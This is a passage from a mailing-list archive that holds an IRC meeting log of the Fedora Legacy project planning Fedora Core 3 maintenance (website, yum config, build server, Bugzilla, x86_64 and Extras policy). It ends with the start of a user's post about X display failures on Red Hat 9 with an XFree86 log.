necessary. I'd like ot run through topics that I have on my mind, then we'll go through them. 13:03 so the attention needing items that I see: 13:03 * Webpage update 13:04 * Sync final RH content to Legacy systems 13:04 * Get yum conf file out 13:04 * configure build server to work w/ fc3 13:04 * Bugzilla management of existing bugs for fc3 13:05 um, thats the items that I can think of. 13:05 do any ofy ou have other items to bring forth? 13:05 x86_64? 13:05 ::: jebba!n=jebba at ip-216-17-203-198.rev.frii.com has joined: #fedora-legacy 13:07 Questor: good point. 13:07 * Official policy wrt x86_64 packages 13:07 I'm a bit confused about what will happen with fedora extras packages. It'd be nice to have a policy on that. I don't imagine many of the extras contributors will be willing/able to support FC3 13:07 ender: once the yum config is available can you cc me the anouncement? bob at bobjensen.com 13:08 * Official policy wrt Fedora Extras. 13:08 BobJensen: sure, I'll try to remeber that. 13:08 any other issues to add to the agenda? 13:08 ::: dries!n=dries at kotnet-147.kulnet.kuleuven.be has joined: #fedora-legacy 13:09 not at the moment 13:10 ::: bigEE!n=chatzill at secure.intgrp.com has joined: #fedora-legacy 13:10 ok, so lets start at the top. 13:10 ::: mether!n=ask at 202.41.228.162 has joined: #fedora-legacy 13:10 ** Webpage Updates 13:10 I am here 13:10 So we'll need a blurb on fedoralegacy.org 13:11 indicating we've taken over FC3. We should have the information included re Extras and x86_64, once we discuss that later today. 13:11 Eric Rostetter is our web guy, however he has been less and less active over the last few months. 13:12 With the resounding success of the Fedora Project wiki, I'm halfway tempted to dissolve the fedoralegacy webpage and move it all into the wiki. 13:12 Is Eric continuing to update the website when it's needed? 13:13 however that will take some work to move some of the more dynamic pages, such as mirror list that gets created by scripts, and the repoview stuff. 13:13 Questor: we haven't made any updates recently, so... yes, but I'm not confident. 13:14 ender, you can just redirect the main site but keep the mirror list and stuff in fedoralegacy.org before moving over finally 13:14 In the mean time, lets try to identify the web changes necessary. 13:14 I think moving almost everything to the wiki is a good idea. We can always link from the wiki back to repoview & mirror stuff on fedoralegacy.org 13:14 err, yeah what mether said :) 13:14 ender, I can manage it much better if its in the wiki 13:14 ender, also a community contest for a site redesign might work 13:14 Jeff_S: right. We were doing some update info specific to releases before repoview was available. It's custom hacky stuff that needs human interaction. I'd really like to move it to repoview, automated. 13:15 lets table this side discussion for a seperate meeting. 13:15 so, current web changes needed: 13:15 ::: Sonar_Guy!n=sglaser at ip70-174-58-25.hr.hr.cox.net has quit: "Sonar_Guy has Left the Building!!" 13:15 well, I can write a blurb for the wiki, but someone with access will need to modify the main web page 13:15 1) Put FC3 blurb on front page. (cover extras/x86_64 info) 13:16 2) supported releases right side module 13:16 The FAQ moved to the wiki right? 13:16 ender, it hasnt yet 13:17 ender, been asking that for a while 13:17 yum.conf + legacy RPM + howto for FC3 should be added 13:17 mether: ok, we'll discuss that w/ the website move meeting. 13:17 ender, can i copy and modify the existing FAQ? 13:17 3) FAQ touchup for FC3 support, add info for x86_64 and Extras there as well. SHould probably blurb about continued FC1 support too. 13:18 mether: sure, that'd be good to have it there. 13:18 ender, I will add appropriate notes on FC1 there too. 13:18 4) Advisories pages need to include FC3 13:18 ::: tbeck!n=tbeck at gw1.bynari.net has joined: #fedora-legacy 13:18 5) Download page needs info on FC3 13:19 6) download.fedoralegacy.org needs fc3 info 13:19 7) Documentation page needs fc3 info 13:20 Another agenda item?: Disposition of FC1 13:20 8) participate should be updated w/ pekka's new fc3 needwork links once they show up. 13:20 Questor: sure. 13:20 Ok, I think thats all the fedoraproject.org changes necessary. Anybody have an idea of what wiki changes are needed? 13:21 ender, I do 13:21 You mean fedoralegacy.org changes, ender. 13:21 ender, I will spice up the content, look and feel 13:21 ender, within the wiki pages. 13:21 ender, can you clarify point 5) 13:21 I just joined to be sure to let you guys know I appreciate all the hard work you all have been doing. 13:22 tbeck: thanks 13:22 ::: Sinner_!n=Sinner at wsip-68-225-85-153.hr.hr.cox.net has joined: #fedora-legacy 13:22 howdee 13:23 ender, do we need to provide information on downloading FC3 itself? 13:23 mether: I think he means this page: http://fedoralegacy.org/download/ 13:23 mether: no, I don't think that would be necessary. We don't want to encourage MORE users of FC3. (; 13:23 lol 13:24 lol.. FC# did hurt alot 13:24 fc3 13:24 Jeff_S, oh ok. I am new to stuff there 13:24 anyway this is here 13:24 http://fedora.isphuset.no/ 13:24 mether: yes, for 5) I meant http://fedoralegacy.org/download/ 13:24 if people really really want FC3 13:24 is there anything in FC3 that makes it a "must-have" distro? 13:25 it was must-have a year or so ago :) 13:25 Sinner_: not that I can think of. There wasn't anything significantly broken in the churn to fc4. 13:25 I mean, "must-have", because c-panel will only work with FC3, it's version of PHP is specialy stable, etc 13:25 mether: ok, I'll trust you to the wiki changes. 13:25 Sinner_: not that I am aware of, but I haven't looked very hard. 13:25 ender, hey thats the only thing I do for hours... 13:26 ender, every day. 13:26 (those "examples" were all made up) 13:26 ::: Perlboy!n=stuart at 203-206-109-188.dyn.iinet.net.au has joined: #fedora-legacy 13:26 Sinner_: not really... FC4 was more exciting 13:26 so I'll try to contact Eric and see if I can't get him involved in discussions regarding the changes. Now that we have a list of WHAT to change we're in semi-good shape. The next thing for that topic is what chnages to make. 13:27 ender, mind linking me to that list? 13:27 * Perlboy just got here :) 13:27 if Eric is not available, I'll try to find somebody else who can help. 13:27 Perlboy: sure. 13:27 Jeff_S: then, droping FC3 in, say, 3 months should be no trauma... if there is enough publicity: osnews, slashdot, htp://fedora-legacy.org , etc etc etc 13:27 1) Put FC3 blurb on front page. (cover extras/x86_64 info) 13:27 2) supported releases right side module 13:27 3) FAQ touchup for FC3 support, add info for x86_64 and Extras there as well. SHould probably blurb about continued FC1 support too. 13:27 4) Advisories pages need to include FC3 13:27 5) Download page needs info on FC3 13:27 6) download.fedoralegacy.org needs fc3 info 13:28 7) Documentation page needs fc3 info 13:28 8) participate should be updated w/ pekka's new fc3 needwork links once they show up. 13:28 and then wiki changes. 13:28 Perlboy: got it? (; 13:28 right 13:28 Sinner_: well I'm sure as long as there's people around using it, we'll keep pushing updates for it (or until it gets cycled out) 13:28 and i trust there's no change to 7.3 & 9 maintainence 13:29 all we're doing is adding fc3 13:29 Perlboy: that is correct. 13:29 k cool 13:29 Ok, I think the first topic of our meeting has been covered, website stuff. 13:29 doesn't this mean the FL project is now maintaining 5 versions though? 13:30 any objections to moving on to data sync? 13:30 Perlboy: yes 13:30 oh dear 13:30 Perlboy: yes. 7.3, 9, fc1, fc2, and fc3. 13:30 ender: nope 13:30 ender: Would you like me to telelphone Eric to encourage his joining our meeting? 13:30 k 13:30 data sync? 13:30 what about it? 13:31 Questor: I have not his phone number. I'll contact him. The 'what to change' is a different meeting too. 13:31 ** FC3 Data Sync 13:31 so, a month or so ago I started syncing a lot of the FC3 content. It is now a bit out of date, so I need to finish syncing i tup. 13:31 this should only mean the updates tree. 13:32 ender: if you need website help and Eric is not available I will join to help with these tasks 13:32 I hope to have this done and pushed to our master mirror by tonight, for syncing to remote mirrors. 13:32 (Newcomers: Agenda posted here: http://rafb.net/paste/results/WynQvp28.html ) 13:32 BobJensen: that would be most welcome. I will remember that offer (; 13:33 ok, but this may involve x86_64 stuff as well - should we discuss that first? 13:33 Jeff_S: The x86_64 content will be put on the servers as well. 13:33 ok 13:34 Ok, moving on to Yum Conf? 13:34 ender: sure 13:35 Do we have 2 versions of yum to support for FC3 or just one now? 13:35 Ok, so a short time ago, a test yum repo package was posted for testing. 13:35 Questor: hrm, I'm not sure what you mean. 13:35 Questor: oh the repodata format? 13:36 FC3 may have advanced to only use the repodata format yum by the time FC3 was originally published? 13:36 Questor: I think that is entirely possible. 13:36 that is a good question to ask outside the folks here. I'll follow up w/ that. 13:37 ::: Sinner_ is now known as SinnerBOFH 13:37 what would that mean for us though? Not much. The tool that generates the data is somewhat automated. 13:37 Questor: yes I believe it uses the new format, but the old "headers" were left for those that were upgrading 13:37 'k 13:37 I think we should still have both "headers" and "repodata" 13:37 Good point, Jeff_S 13:37 So we'll need somebody to do QA on the test package for release to FC3. IT'll go into legacy-utils repo. 13:37 Jeff_S: we're currently generating both IIRC 13:38 Jeff_S: but I can make sure. 13:38 ender: yes I think I saw both 13:38 Is the test package have a Bugzilla issue open on it. That would help get QA going. 13:38 Is => Does 13:38 Questor: I _think_ it does. but I'm failing to search my email correctly. rawhide evo bug won't let me sort emails. 13:38 I think this is the URL for the package (for the record) http://www.cs.ucsb.edu/~jeff/legacy/legacy-yumconf-3-2.fc3.src.rpm 13:38 let me verify that though 13:40 the yum.conf in that RPM has base & updates enabled (utils and updates-testing are present, but not enabled) 13:40 I think that is what we finally agreed upon on the mailing list 13:41 it'd be good to test it out now that the FC3 mirror is up :) 13:41 Jeff_S: sounds about right. 13:41 ::: Bob-Laptop!n=bob-loca at pdpc/supporter/sustaining/BobJensen has joined: #Fedora-Legacy 13:42 So we'll need to find a bzilla entry, and get last QA done and get it published so we can reference it on the websites. 13:43 ::: |404|Innoc_JF!n=eucke at gateway.netwitts.com has joined: #fedora-legacy 13:43 ::: BobJensen!n=bob-loca at pdpc/supporter/sustaining/BobJensen has quit: Remote closed the connection 13:43 anybody willing to trawl bugzilla to see if there is a bug on this issue? 13:43 ender: I'll give it a try 13:43 oh, for the sake of irc log grepping: 13:43 ACTION: mether will make changes to wiki 13:44 ::: |404|Innoc_JF is now known as eucke 13:44 ACTION: jkeating will communicate w/ Eric R to setup meeting for web content changes, or find alternative web author 13:44 ACTION: jkeating will find out if fc3 only uses the new repodata/ format 13:44 ACTION: Jeff_S will find / create bugzilla entry to get legacy-yumconf package published. 13:45 there. That'll make stuff easy to find (; 13:45 question - if I can't find a bug, should I file it under FC3, or...? 13:45 ACTION: jkeating will finish fc3 content sync to master mirror 13:45 Jeff_S: file it for Fedora Legacy 13:46 ok 13:46 hrm, I see something we need already. 13:46 ::: BobJensen-Away!n=bob-loca at pdpc/supporter/sustaining/BobJensen has joined: #Fedora-Legacy 13:46 there is no fc3 component for Fedora Legacy 13:46 nope, that's why I asked :) 13:46 Jeff_S: use 'unspecified' for now. 13:46 works for me 13:46 we'll talk about bzilla later. 13:47 ok, any more thoughts re legacy-yumconf ? 13:47 ::: BobJensen-Away is now known as BobJensen 13:47 wb BobJensen 13:47 the use of mirrorlist= instead of baseurl=? 13:47 I haven't looked at the package yet to see 13:47 MrBawb: good question. We as of yet don't have the infrastructure that mirrorlist requires. 13:47 thanks ender 13:48 that is something we can look into providing in the near future, but I don't think we have time for it before the yumconf goes out. 13:48 I actually want to redesign some of the mirror stuff. 13:48 seperate meeting (; 13:49 Ok, moving from yum topic to Build Server. 13:49 ** Build Server 13:49 ::: Edgester!n=chatzill at cpe-069-134-046-245.carolina.res.rr.com has joined: #fedora-legacy 13:49 afaik, the changes necessary here are setting up mock to know about fc3 build targets 13:49 Questor: were you able to determine if these were in fact missing? 13:49 We continue to use mach, not mach, right? 13:49 not mock 13:50 "mock" or "mach" 13:50 Yes, they are missing. 13:50 It may be a simple cut-n-paste of the FC2 to replace 'fc2' strings with 'fc3'... needs looking into. 13:50 Questor: oh sorry, mach 13:50 (in the mach config files) 13:50 Questor: ok, I'll add that to my action list. 13:51 ACTION: jkeating will make necessary changes to mach config so that fc3 packages can be built. 13:51 Any further thoughts on build system? before moving to Bugzilla? 13:52 ::: davej_!n=davej at nat-pool-bos.redhat.com has joined: #fedora-legacy 13:52 I don't think most people here deal much with the build system itself ... 13:52 I assume that mock & plague are on the back burner until after the transition? 13:53 Jeff_S: yes, they're still very much in my attention, but there is a lot of groundwork to do leading up to that. 13:53 ok, moving along (welcome davej_ ) 13:53 ** Bugzilla 13:53 lo 13:53 I think we've noticed that we need an fc3 component within bugzilla. 13:53 (Newcomers: Agenda is posted at: http://rafb.net/paste/results/WynQvp28.html ) 13:53 ACTION: jkeating will get fc3 component added to bugzilla 13:54 Other than that, there are a lot of bugs still open for fc3. For kernel bugs, I'll let davej_ speak for a moment. 13:54 davej_: yo uhave the.. erm.. floor 13:54 Will there be new packages that will be needing to be added also to Bugzilla for the FedoraLegacy Product? 13:55 there's around 120 open kernel bugs against FC3. Later today I'm going to migrate them to FC4 bugs. There's nothing of 'security' consequence in that lot. 13:55 however.. there are a number of local DoS problems in the last FC3 kernel that I never got around to fixing. A good starting point for patches might be to look at other vendors (Debian and Ubuntu both have 2.6.12 based updates out iirc) 13:56 the good news is that there's no really nasty security bugs there. 13:56 (to the best of my knowledge at least) 13:57 [I'm done] 13:57 phone, just a moment. 13:57 davej_: ok, thanks 13:58 davej_: Is there a list somewhere of the local DoS problems? 13:58 back. 13:58 questor: mjcox at redhat.com can probably give a definitive list 13:58 Questor: that is a good question. I'll have our bugzilla guy verify thta all fc3 packages exist within Legacy as well. 13:59 worth speaking to him in general, not just for kernel related issues too, as he's probably tracking other packages too. 13:59 Questor: so I'm going to have davej_ hook up with mdeslaur regarding the kernel security stuff. 13:59 mdeslaur: if I'm not around on irc at anytime (I idle a lot), feel free to drop me a mail 13:59 Questor, http://fedoraproject.org/wiki/Security 14:01 As for existing bugs, some trawling is necessary. This is a good item to ask for community help on. 14:01 not just LEgacy community, but Fedora community in general. 14:01 ::: bigEE!n=chatzill at secure.intgrp.com has quit: "Chatzilla 0.9.69 [Firefox 1.5/2005111116]" 14:01 Just for the record, bug # 177966 was created for the legacy-yumconf package 14:01 current FC3 bugs need to be examined for security issues. If security, moved to Legacy. If not, needinfo if problem still exists in fc4/5, if nothing in a short time, close. 14:02 Jeff_S: awesome. Thanks. 14:02 those are just my thoughts on how to handle the bugs, but it is similar to what we've done in the past. 14:02 Any other thoughts RE bugzilla? 14:03 ender, do we have good docs on how to handle bugzilla? 14:03 ACTION: request community to clean up existing fc3 bugs and move/mark/close as necessary 14:03 ender, within legacy 14:03 ender, because if we are requesting community to do anything, its better to provide as specific information as we can 14:03 mether: hrm, I'm not sure if we do. Worth looking into. The difference for within Legacy and without is not really different, so re-using existing bugzilla docs seems logical. 14:04 I'm going to mass-migrate the fc3 kernel bugs to fc4 with the comment at http://people.redhat.com/davej/eol.txt Anyone spot anything obviously wrong with that ? 14:04 ACTION: investigate docs for working w/ bugzilla within Legacy 14:04 http://fedoraproject.org/wiki/BugsAndFeatureRequests 14:04 this is a doc written by me 14:04 have it include more specific information on legacy 14:05 i havent had much time to update it lately but I add it if someone sends me the raw content 14:05 davej_: looks good to me 14:05 davej_: looks good to me. 14:05 email sundaram AT redhat.com if you want to help with that 14:05 mether: thanks 14:06 Just want to make clear: We are only going to be responsible for security / critical fix bugs left in Bugzilla attached to FC3? 14:06 Questor: yes. 14:06 Questor: absolutely. 14:06 Does that mean we close all non-security-related FC3 bugs? 14:06 Questor, stock response and close all bugs and request them to reopen if its security related? 14:07 Don't we want to move them to FC4/devel if it is still relevant? 14:07 Yes... I can see that davej_'s text slightly reworded would be wonderful for such a message on those bugs? 14:07 Questor, you can probably get the current security details for FC3 from the RH security team 14:07 Questor, mjcox 14:07 okay... 14:08 depending on bugzilla might leave out some security issues that havent been reported 14:08 I'm pretty sure what we did last time was needinfo all the non-security bugs, saying retest w/ latest FC. If no response, then they were closed. 14:09 ender, i think it was actually closed and requested to be reopened 14:09 mether: could have been. I'm a bit fuzzy on it. 14:09 ::: Edgester!n=chatzill at cpe-069-134-046-245.carolina.res.rr.com has quit: "Chatzilla 0.9.69.3 [Firefox 1.0.7/20050915]" 14:09 the university guy did that 14:09 dont remember his name now 14:09 Matt? 14:10 ya thats it 14:10 Mattew Miller? 14:10 yes 14:10 LOL, aren't there a lot of university guys using linux? :) 14:10 davej does stock closes all the time 14:10 er, Matthew 14:10 Jeff_S, he is infamous... 14:11 I see 14:11 Jeff_S, see everyone guessed the reference right 14:11 Matthew Miller is still eager to join the Legacy project in a more official way, but his schedule nad our infrastructure hasn't always seen eye to eye. 14:11 mether: yep 14:11 he also was our main contact for the first FUDCon, so we all kind of know the name (; 14:12 I know the name, just didn't click with "university guy" 14:12 ah heh 14:12 so... 14:13 Getting back to Bugzilla... do we need some automated stuff to be done then? 14:13 we've got the action to get the community to trawl bugzilla, do we need another action item that should be done first which is come up w/ a migration policy? 14:13 Questor: automation could maybe take care of one part of it, but human eyes need to see if it is security or not. 14:14 ender: ok - I think what happened last time seems like a good policy 14:14 ACTION: Bless a bug migration policy, possibly automate what can be automated. Must bedone before community is let loose on it. 14:14 anything further on bugzilla? 14:14 Do we need some kind of organization to the Bugzilla-trawling, so people don't do the same work twice? Maybe some kind of "Depends on Bug # nnnnnn" to be done on bugs that people have found aren't Legacy material? 14:15 Questor: I can't think of anything useful in that regard. 14:15 Questor: we'll get dkl (RH's bugzilla guy) in here to discuss the migration so that he can lend his thoughts. 14:15 ::: Anatorian!n=will at ip24-252-149-10.nc.hr.cox.net has quit: "thanks all for your work" 14:15 Well, most folks don't have privileges to close bugs, so we may need to think over how we trawl. 14:16 Questor: right. 14:16 ender, why dont we get the security information from the RH security team and just close all the bug reports? 14:16 mether: that could make sense. 14:16 ender, we dont really know that all security issues are being reported in bugzilla anyway 14:16 mether: if the security team still has the data on what affects fc3. 14:17 ender, I think they have all those really handy 14:17 mether: right, but we're discussing what to do with the current bugs. 14:17 ender, I usually get responses within a day on queries 14:17 k 14:17 ::: n2048!n=n2048 at mail.emeraldcitydesign.com has joined: #fedora-legacy 14:17 ender, close them all... 14:17 Also - will there be issues if any FC3 security bugs are (hidden due to newness of security issue)? 14:17 let ${diety} sort them out? 14:17 Questor: the security team can help us(me) with that. 14:18 ACTION: jkeating will contact RH security team for a report on open security issues that could affect FC3. 14:18 I'll contact the security team if you want. 14:18 trying to install a .rpm file of kernel-smp-2.6.10-1.771_FC2.i686 so I can install kernel-module-nvidia-2.6.10-1.771... the rpm output says the kernel rpm is installedd already, how do i implement and boot this kernel so i can install the nvidia rpm 14:18 Questor: I've already been in contact w/ them, I can continue. 14:18 uname -a reports 2.6.5-1.358smp 14:18 'k 14:19 n2048: edit your /etc/grub.conf file. 14:19 ok, ready to talk bout x86_64? 14:19 No more Bugzilla questions here.. 14:19 ender: ok 14:20 ** x86_64 14:20 Ok, so here is the scoop. 14:20 until we replace our current build system, x86_64 packages cannot be produced. 14:20 ender: how do i update when it is modified, eg lilo u just type lilo (but its grub this time) 14:20 That said, our srpms can be rebuilt. 14:20 n2048: grub re-reads the conf each boot, you don't need to run anything. 14:21 n2048: that's it, just edit and reboot 14:21 n2048, just modify and save it. no need to run any commands after that 14:21 ok ty, :) 14:21 be bak soon huray 14:21 ::: n2048!n=n2048 at mail.emeraldcitydesign.com has quit: "Leaving" 14:21 someone remind me to add this information to the FAQ 14:21 So I'm working hard to get our new build system ready to go, but it wont be for a bit. 14:22 ACTION: mether to add the x86_64 info to the FAQ :-) 14:22 so officially Legacy is not producing x86_64. We'll happily look at user problems when rebuilding srpms for x86_64 though, and once our build system supports it, we'll rebuild all issued updates officialy for x86_64 14:23 ender: would it help if I give access to a couple people to my buildsystem, or would you rather just wait? 14:23 build -> copy -> sign kinda thing... 14:23 Jeff_S: hrm, thats an interesting idea. 14:23 The hardware we have (on jane) is capable of running x86_64, but it isn't doing so currently, right? 14:23 Questor: that is correct. 14:23 Questor: I _really_ want to get that resolved before April. 14:24 Jeff_S: thats a discussion we could have w/ our build team. 14:24 mine's more of a test setup, although it should be up all the time (and that should be good enough for what legacy needs...) 14:24 Would we want to also then start supporting x86_64 for FC2 (FC1??) as well? 14:24 Questor: those didn't get released for x86_64, did they? 14:24 lets say officially no x86_64 for now, and use the game plan publically, but we could definately look at using your build system in the mean time for doing x86_64 builds. 14:25 ender: ok, well I'm glad to allow a few people there temporarily, just let me know 14:25 I don't think fc2 was released for x86_64 14:25 Jeff_S, FC2 was. 14:25 FC1 wasn't initially. 14:25 wait, I'm wrong. 14:26 oh 14:26 Questor: so yes, we could then rebuild all of FC2 packages for x86_64 too. 14:26 lol, that's a lot of rebuilding to do! 14:26 Well, rebuild all the *legacy-produced* packages for FC2. 14:26 Jeff_S: I also have an x86_64 system, single opteron w/out a lot of memory 14:27 once we go to plague, we can have multiple building boxen, but I doubt we'll need anything more than 1 14:27 ender: I like having two, that way one does i386 while the other builds x86_64 at the same time :) 14:28 Jeff_S: well, jane is a dual proc box, and most builds aren't threaded, so that can easily happen anyway (; 14:28 great 14:28 Jeff_S: jane sits idle a very large amount of time. i'm not convinced yet that we need more systems, other than storage. 14:28 I agree, we're not putting out that many packages 14:28 hooking a large storage device to jane would be welcome, for /data/mirror/ 14:29 It can easily handle building both i386 and x86_64 14:29 I may eventually probe the Fedora Foundation and our users for some $$ to put together a storage box w/ iscsi to hook into jane. 14:29 ender: although it would be nice in case of HW problems 14:29 Jeff_S: yes, redundancy is key. 14:30 ok, so with what I've talked about, mether do you think you can come up w/ the FAQ text for x86_64 ? 14:30 but back to the policy - I think what you said is fine: we don't support x86_64 (yet), we can work out details later 14:30 ::: Questor is now known as Questor-brb 14:30 mether: ? 14:32 ::: Questor-brb is now known as Questor 14:32 ender, yes I can 14:33 ::: n2048!n=n2048 at mail.emeraldcitydesign.com has joined: #fedora-legacy 14:33 ender, sorry. I am attending other meetings too. 14:33 yuck 14:33 mether: ok, great. 14:33 moving on to our last item: 14:33 ** Fedora Extras 14:34 so here is my blurb on this. 14:34 oh: 14:34 the kernel booted successfully, i installeed the nvidia rpm and loadedd the xorg without errors, i do not have glx working, but i checkedd that glx and dri was in the xorg.conf, do i needd to install a lib or mesa or something? 14:34 ACTION: mether will review this discussion and produce Fedora Extras FAQ entry 14:34 n2048: I'm afraid you will have to wait a moment, I'm trying to finish up a meeting. 14:34 n2048: are you sure you're using 'nvidia' and not 'nv' as the driver in your xorg.conf? 14:34 So, Fedora Legacy exists to continue security/severe bugfixes for Core components. 14:35 We exist because as it stands no outside folks can touch core components. 14:35 Fedora Extras is entirely community driving, all work being done outside of Red Hat. 14:35 Jeff_S, ack, i dont think im using either. i think the xorg overWrote my .backup with another .backup (which i backed up to .backup.nvidia 14:35 it says 'vesa' 14:36 Maintainers of Fedora Extras packages can continue to roll out packages for older Fedora Core releases. 14:36 n2048: ok, that's probably the problem then 14:36 Jeff_S, think i found one with nvidia in the driver section, ,brb =) 14:36 from a man power and from a organization stand point, I don't believe it makes sense for Fedora Legacy to touch Fedora Extras packages. 14:36 ::: n2048!n=n2048 at mail.emeraldcitydesign.com has quit: Client Quit 14:37 does what I say make sense? 14:37 ender: I agree, but I just see a large potential for security issues if extras contributors start forgetting about older distros 14:37 I agree, ender. 14:37 Jeff_S, some of them will deliberately choose to ignore older distros if they are not interested. Extras project leaves the decision to the maintainers 14:38 Question: Each FedoraExtras package has a given person tagged as the maintainer for that package, no? 14:38 mether: exactly 14:38 Questor: yes 14:39 ::: n2048!n=n2048 at mail.emeraldcitydesign.com has joined: #fedora-legacy 14:39 yes, Extras continuance is souly within the hands of the maintainer. 14:39 Sorry, but I'm going to have to go in a couple minutes... 14:39 I'm not all that clear on how the CVS system works for Extras, but I think it should be easy for a maintainer to have somebody else roll stuff for the older Fedora releases, w/out stomping on the current stuff. 14:39 Jeff_S: we're almost done. thanks so much for coming. 14:39 yw 14:40 What we might think about doing is -- if there is an extras package that our Legacy community thinks really needs to be updated for a given vulnerability, we can look into it then. 14:40 ender: I think the access is controlled by package and not by distro 14:40 Jeff_S: k. 14:40 ender, what I think is a better position is this "Fedora Legacy does not formally support Fedora Extras packages. Extras project leaves package maintainership for older packages at the maintainer's discretion. If there are community members with the legacy project willing to handle security issues in Extras packages in circumstances where the previous maintainers are not interested in maintaining older releases, then the legacy project will try and pr 14:40 ovide support for these contributors to enable them to maintain packages as part of the legacy project" 14:40 Questor: sure, the maintainer could be contacted and urged to release. 14:41 ok, got to go... 14:41 mether: um, not quite. 14:41 mether: that sounds pretty good to me 14:41 Jeff_S, found an xorg.conf with 'nvidia' in the driver section, i see load glx but not load dri, GLX isn't loading 14:41 mether: the package should remain within the Extras system, built by the extras infrastructure. 14:41 ::: Jeff_S is now known as Jeff_S_Gone 14:41 * n2048 panics 14:41 ender, ok change the last reference to extras project then 14:41 mether: sounds good to me. 14:42 It's possible, though, that a given maintainer not any longer have access to an older distro in order to build? Where are extras built anyway? 14:42 Any other thoughts RE Extras? 14:43 Questor: Extras are built within the Extras Build System, which uses mock/plague. I don't believe there are any plans to shut off the FC3 target. 14:43 Excellent. 14:43 Ok, that was my last topic. Whew! long meeting. 14:43 anything else? Lets review the action items: 14:43 There are no Extras for FC2? 14:44 Questor: seems extras started w/ 3 14:44 Questor: extras are new for fc3 14:44 thats what mirrors have. 14:44 ACTION: mether will make changes to wiki 14:44 ::: n2048!n=n2048 at mail.emeraldcitydesign.com has quit: Remote closed the connection 14:44 ACTION: jkeating will communicate w/ Eric R to setup meeting for web content changes, or find alternative web author 14:44 ACTION: jkeating will find out if fc3 only uses the new repodata/ format 14:44 the miragtion from fedora.us happened with FC3 14:45 ACTION: Jeff_S will find / create bugzilla entry to get legacy-yumconf package published. 14:45 ACTION: jkeating will finish fc3 content sync to master mirror 14:45 ACTION: jkeating will make necessary changes to mach config so that fc3 packages can be built. 14:45 ACTION: jkeating will get fc3 component added to bugzilla 14:45 ACTION: request community to clean up existing fc3 bugs and move/mark/close as necessary 14:45 ACTION: investigate docs for working w/ bugzilla within Legacy 14:45 ACTION: Bless a bug migration policy, possibly automate what can be automated. Must bedone before community is let loose on it. 14:45 ACTION: jkeating will contact RH security team for a report on open security issues that could affect FC3. 14:45 ACTION: mether to add the x86_64 info to the FAQ :-) 14:46 ACTION: mether will review this discussion and produce Fedora Extras FAQ entry 14:46 ok, thats what I have done. 14:46 please cc on the legacy list post if I am involved 14:46 I am not subscribed there yet though I am doing it shortly 14:46 and I would like to add one more item 14:47 though its not related to FC3 as such 14:47 Questor, go ahead then 14:47 http://fedoraproject.org/wiki/Projects/WeeklyReports 14:47 the details of this report is available from http://fedoraproject.org/wiki/News 14:48 my plans are available from https://www.redhat.com/archives/fedora-docs-list/2006-January/msg00091.html 14:48 mether: ah yes. We need a writer for the Legacy weekly reports. 14:48 mether: I'll take that on for now. 14:48 it would nice for someone to do the reports 14:48 for the legacy project 14:48 on a weekly basis 14:48 go through the references above in detail 14:48 mether: Since I"ll be doing the core, I can do the Legacy too. 14:48 and mail off list if you require any additional help 14:48 in getting started 14:49 every week the report should be done by friday 14:49 you can start early 14:49 http://fedoraproject.org/wiki/Projects/WeeklyReports/2005-Jan-23 14:49 and do additions on a daily basis 14:49 or at the end of the week 14:49 So I'd like to meet again very soon to cover these action items to see how we're progressing. 14:50 i need this completed by every friday for the translators to do their job 14:50 string freeze on friday and published on subsequent monday 14:50 ender, you probably should spread the work around to others too 14:50 any objections to meeting again here day after tomorrow? Same time? 14:50 ender: once you have contacted Eric, let me know so if help is needed from me I can jump in 14:51 BobJensen: ok, will do. 14:51 mether: yes, I've tried to not take on things which others can do, aside from the weekly report (; 14:51 No objections here, ender. 14:52 Ok, so meeting Wed Jan 18, 2006 at GMT 2100, US PST 1300, US EST 1600 ? 14:52 ender, meetings mins are posted to the list? 14:52 I will be here if I can 14:52 ok. I'm going to post the meeting minutes, as well as a rehash of the action items to fedora-legacy-list. 14:53 Adjourn in 3... 14:54 2.. 14:54 1.. 14:55 ** ADJOURN ** 14:55 Thanks everybody. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From yuandan.zhang at gmail.com Tue Jan 17 05:44:30 2006 From: yuandan.zhang at gmail.com (Yuandan Zhang) Date: Tue, 17 Jan 2006 16:44:30 +1100 Subject: xdisplay for redhat 9 Message-ID: , I use fedora-legacy's yum updated a redhat 9.0 (kernel 2.4.20-8). http://www.fedoralegacy.org I updated most rpms excetp kenerl* mysql*. However, after this update, I can't get the X display started. During the X window starting up, the screen is flashing between mode '1024x786' and '720 x 400'. After a while, showing an error message 'failed to start the display server severial times in a shor time peroid'. If i login as root in the text mode and issue a command 'startx', the xwindow started and login into kde. as a normal user, issue a command 'startx', get a window terminal, looks like 'Fvwm' below is a part of the /var/log/XFree86.0.log Yuandan XFree86 Version 4.3.0 (Custom Build: 4.3.0-2.90.60.legacy) Release Date: 15 August 2003 X Protocol Version 11, Revision 0, Release 6.6 Build Operating System: Linux 2.6.8-1.521smp i686 [ELF] Build Date: 01 February 2005 Build Host: Before reporting any problems, please make sure you are using the most recent XFree86 packages available from Red Hat by checking for updates at http://rhn.redhat.com/errata or by using the Red Hat Network up2date tool. If you still encounter problems, please file bug reports in the XFree86.org bugzilla at http://bugs.xfree86.org and/or Red Hat bugzilla at http://bugzilla.redhat.com Module Loader present OS Kernel: Linux version 2.4.20-8 (root at gozin3) (gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #1 Wed Apr 23 13:42:48 PDT 2003 Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/var/log/XFree86.0.log", Time: Tue Jan 17 15:09:05 2006 (==) Using config file: "/etc/X11/XF86Config" (==) ServerLayout "Anaconda Configured" (**) |-->Screen "Screen0" (0) (**) | |-->Monitor "Monitor0" (**) | |-->Device "ATI Rage 128" (**) |-->Input Device "Mouse0" (**) |-->Input Device "Keyboard0" (**) Option "XkbRules" "xfree86" (**) XKB: rules: "xfree86" (**) Option "XkbModel" "pc105" (**) XKB: model: "pc105" (**) Option "XkbLayout" "us" (**) XKB: layout: "us" (==) Keyboard: CustomKeycode disabled (**) FontPath set to "unix/:7100" (**) RgbPath set to "/usr/X11R6/lib/X11/rgb" (==) ModulePath set to "/usr/X11R6/lib/modules" (--) using VT number 8 (II) Open APM successful (II) Module ABI versions: XFree86 ANSI C Emulation: 0.2 XFree86 Video Driver: 0.6 XFree86 XInput driver : 0.4 XFree86 Server Extension : 0.2 XFree86 Font Renderer : 0.4 (II) Loader running on linux 